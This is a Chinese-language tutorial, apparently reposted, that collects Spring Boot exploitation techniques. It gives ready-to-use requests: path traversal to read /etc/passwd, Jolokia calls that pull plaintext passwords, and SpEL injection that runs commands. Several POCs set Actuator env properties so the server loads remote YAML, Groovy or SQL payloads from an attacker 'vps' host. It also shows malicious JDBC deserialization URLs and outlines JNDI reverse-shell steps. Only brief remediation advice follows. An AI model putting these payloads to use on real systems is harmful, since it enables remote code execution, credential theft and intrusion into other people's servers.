Java之SpringBoot漏洞利用姿势合集总结详细版
字数 2682 2025-08-22 18:37:22

SpringBoot漏洞利用姿势合集详细教学文档

一、Spring框架概述

Spring生态系统包含五个关键部分:

  1. Spring Framework核心架构:提供依赖注入(IoC)、面向切面编程(AOP)、数据访问和事务管理等基础功能
  2. Spring MVC:用于构建Web应用程序和RESTful服务的MVC框架
  3. Spring Boot:基于Spring Framework,提供自动配置、内嵌服务器、快速启动等功能
  4. Spring Cloud:基于Spring Boot,提供构建分布式系统和微服务的工具
  5. Spring Security:为Spring应用提供认证和授权功能

二、Spring Boot自动配置原理

关键注解

  • @SpringBootApplication
  • @SpringBootConfiguration
  • @ComponentScan
  • @EnableAutoConfiguration
  • @AutoConfigrationPackage
  • @EnableConfigurationProperties

自动加载机制

Spring Boot启动时会:

  1. 在依赖的starter包中寻找resources/META-INF/spring.factories文件
  2. 根据文件配置扫描项目依赖的Jar包(类似Java的SPI机制)
  3. 根据@Conditional注解条件进行自动配置并将Bean注入Spring Context

三、Spring Boot漏洞利用姿势

1. 文件包含漏洞(CVE-2021-21234)

  • 环境:vulfocus.cn
  • POC/manage/log/view?filename=/etc/passwd&base=
  • 修复方案:升级到0.2.13版本

2. 信息泄露漏洞

常见泄露接口

  • /v2/api-docs
  • /swagger-ui.html
  • /env(获取参数信息)
  • /mappings
  • /metrics
  • /beans
  • /configprops
  • /actuator/metrics
  • /actuator/mappings
  • /actuator/beans
  • /actuator/configprops

3. 敏感信息明文获取

利用条件:存在/jolokia/actuator/jolokia接口

POC

// Spring 1.x
POST /jolokia
Content-Type: application/json
{
  "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
  "operation": "getProperty",
  "type": "EXEC",
  "arguments": ["security.user.password"]
}

// Spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{
  "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
  "operation": "getProperty",
  "type": "EXEC",
  "arguments": ["security.user.password"]
}

4. Whitelabel Error Page RCE

漏洞原理:使用Spring Boot默认错误页处理参数时,${}包围的内容会被当作SpEL表达式解析执行

测试步骤

  1. 测试是否存在Whitelabel Error Page
  2. 通过fuzz参数值(如id、sid)触发500报错
  3. 测试SpEL表达式注入

POC生成脚本

input_string = "open -a Calculator"
hex_list = []
for ch in input_string:
    hex_list.append(f"0x{ord(ch):02x}")
hex_string = ', '.join(hex_list)
print(hex_string)

测试POC

  • 测试漏洞存在:${6*6}(返回36则存在)
  • 执行命令:${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

5. Spring Cloud SnakeYAML RCE

利用条件

  • 存在/env/actuator/env泄露
  • 存在spring-boot-starter-actuator
  • 目标主机可出网
  • 版本小于1.3.0.RELEASE

利用步骤

  1. 在VPS上创建恶意YML文件并编译JAR
  2. 设置spring.cloud.bootstrap.location属性
  3. 刷新配置

POC

// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml

// Spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml

6. MySQL JDBC反序列化RCE

利用条件

  • 存在mysql-connector-java依赖
  • 存在常见反序列化gadget依赖(如commons-collections等)

POC

-- mysql-connector-java 5.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

-- mysql-connector-java 8.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

7. H2 Database Console JNDI RCE

利用条件

  • 存在/h2-console界面
  • 配置了spring.h2.console.enabled=true
  • 配置了spring.h2.console.settings.web-allow-others=true

利用步骤

  1. 使用JNDI-Injection-Exploit工具生成恶意代码
  2. 开启VPS监听
  3. 访问H2控制台执行攻击

8. Jolokia Logback JNDI RCE

利用条件

  • 存在/jolokia/actuator/jolokia接口
  • 使用jolokia-core依赖
  • 目标可出网
  • JDK版本限制:< 6u201/7u191/8u182/11.0.1

利用步骤

  1. 创建恶意XML文件
  2. 编写反弹shell代码并编译
  3. 开启LDAP服务
  4. 远程加载配置文件触发RCE

9. Jolokia XXE任意文件读取

利用条件

  • 存在/jolokia/list接口
  • 存在logback库提供的reloadByURL方法

利用步骤

  1. 创建恶意XML和DTD文件
  2. 开启VPS监听
  3. 请求远程文件触发XXE

四、Spring Boot Actuator漏洞

1. restart logging.config groovy RCE

利用条件

  • 存在/actuator/restart接口
  • 存在groovy依赖

POC

// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://vps:port/exp.groovy

// Spring 2.x
POST /actuator/env
Content-Type: application/json
{
  "name": "logging.config",
  "value": "http://vps:port/exp.groovy"
}

2. restart spring.main.sources groovy RCE

POC

// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://vps:port/exp.groovy

// Spring 2.x
POST /actuator/env
Content-Type: application/json
{
  "name": "spring.main.sources",
  "value": "http://vps:port/exp.groovy"
}

3. restart logback JNDI RCE

利用条件

  • JNDI服务返回的object需要实现javax.naming.spi.ObjectFactory接口
  • 存在/env/restart接口

利用步骤

  1. 创建恶意XML文件
  2. 开启LDAP服务
  3. 设置logging.config属性
  4. 重启应用

4. restart h2database SQL RCE

利用条件

  • 存在/env/restart接口
  • 存在h2databasespring-boot-starter-data-jpa依赖

POC

// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql

// Spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql

五、修复建议

  1. 及时升级Spring Boot和相关组件到最新版本
  2. 禁用不必要的Actuator端点
  3. 对Actuator端点实施访问控制
  4. 避免在生产环境开启调试功能
  5. 限制外部访问H2控制台等管理界面

六、参考工具

  1. JNDI-Injection-Exploit
  2. marshalsec
  3. actuator-testbed
SpringBoot漏洞利用姿势合集详细教学文档 一、Spring框架概述 Spring生态系统包含五个关键部分: Spring Framework核心架构 :提供依赖注入(IoC)、面向切面编程(AOP)、数据访问和事务管理等基础功能 Spring MVC :用于构建Web应用程序和RESTful服务的MVC框架 Spring Boot :基于Spring Framework,提供自动配置、内嵌服务器、快速启动等功能 Spring Cloud :基于Spring Boot,提供构建分布式系统和微服务的工具 Spring Security :为Spring应用提供认证和授权功能 二、Spring Boot自动配置原理 关键注解 @SpringBootApplication @SpringBootConfiguration @ComponentScan @EnableAutoConfiguration @AutoConfigrationPackage @EnableConfigurationProperties 自动加载机制 Spring Boot启动时会: 在依赖的starter包中寻找 resources/META-INF/spring.factories 文件 根据文件配置扫描项目依赖的Jar包(类似Java的SPI机制) 根据 @Conditional 注解条件进行自动配置并将Bean注入Spring Context 三、Spring Boot漏洞利用姿势 1. 文件包含漏洞(CVE-2021-21234) 环境 :vulfocus.cn POC : /manage/log/view?filename=/etc/passwd&base= 修复方案 :升级到0.2.13版本 2. 信息泄露漏洞 常见泄露接口 : /v2/api-docs /swagger-ui.html /env (获取参数信息) /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops 3. 敏感信息明文获取 利用条件 :存在 /jolokia 或 /actuator/jolokia 接口 POC : 4. Whitelabel Error Page RCE 漏洞原理 :使用Spring Boot默认错误页处理参数时, ${} 包围的内容会被当作SpEL表达式解析执行 测试步骤 : 测试是否存在Whitelabel Error Page 通过fuzz参数值(如id、sid)触发500报错 测试SpEL表达式注入 POC生成脚本 : 测试POC : 测试漏洞存在: ${6*6} (返回36则存在) 执行命令: ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} 5. Spring Cloud SnakeYAML RCE 利用条件 : 存在 /env 或 /actuator/env 泄露 存在 spring-boot-starter-actuator 目标主机可出网 版本小于1.3.0.RELEASE 利用步骤 : 在VPS上创建恶意YML文件并编译JAR 设置 spring.cloud.bootstrap.location 属性 刷新配置 POC : 6. MySQL JDBC反序列化RCE 利用条件 : 存在 mysql-connector-java 依赖 存在常见反序列化gadget依赖(如commons-collections等) POC : 7. H2 Database Console JNDI RCE 利用条件 : 存在 /h2-console 界面 配置了 spring.h2.console.enabled=true 配置了 spring.h2.console.settings.web-allow-others=true 利用步骤 : 使用JNDI-Injection-Exploit工具生成恶意代码 开启VPS监听 访问H2控制台执行攻击 8. Jolokia Logback JNDI RCE 利用条件 : 存在 /jolokia 或 /actuator/jolokia 接口 使用 jolokia-core 依赖 目标可出网 JDK版本限制: < 6u201/7u191/8u182/11.0.1 利用步骤 : 创建恶意XML文件 编写反弹shell代码并编译 开启LDAP服务 远程加载配置文件触发RCE 9. Jolokia XXE任意文件读取 利用条件 : 存在 /jolokia/list 接口 存在logback库提供的 reloadByURL 方法 利用步骤 : 创建恶意XML和DTD文件 开启VPS监听 请求远程文件触发XXE 四、Spring Boot Actuator漏洞 1. restart logging.config groovy RCE 利用条件 : 存在 /actuator/restart 接口 存在groovy依赖 POC : 2. restart spring.main.sources groovy RCE POC : 3. restart logback JNDI RCE 利用条件 : JNDI服务返回的object需要实现 javax.naming.spi.ObjectFactory 接口 存在 /env 和 /restart 接口 利用步骤 : 创建恶意XML文件 开启LDAP服务 设置 logging.config 属性 重启应用 4. restart h2database SQL RCE 利用条件 : 存在 /env 和 /restart 接口 存在 h2database 和 spring-boot-starter-data-jpa 依赖 POC : 五、修复建议 及时升级Spring Boot和相关组件到最新版本 禁用不必要的Actuator端点 对Actuator端点实施访问控制 避免在生产环境开启调试功能 限制外部访问H2控制台等管理界面 六、参考工具 JNDI-Injection-Exploit marshalsec actuator-testbed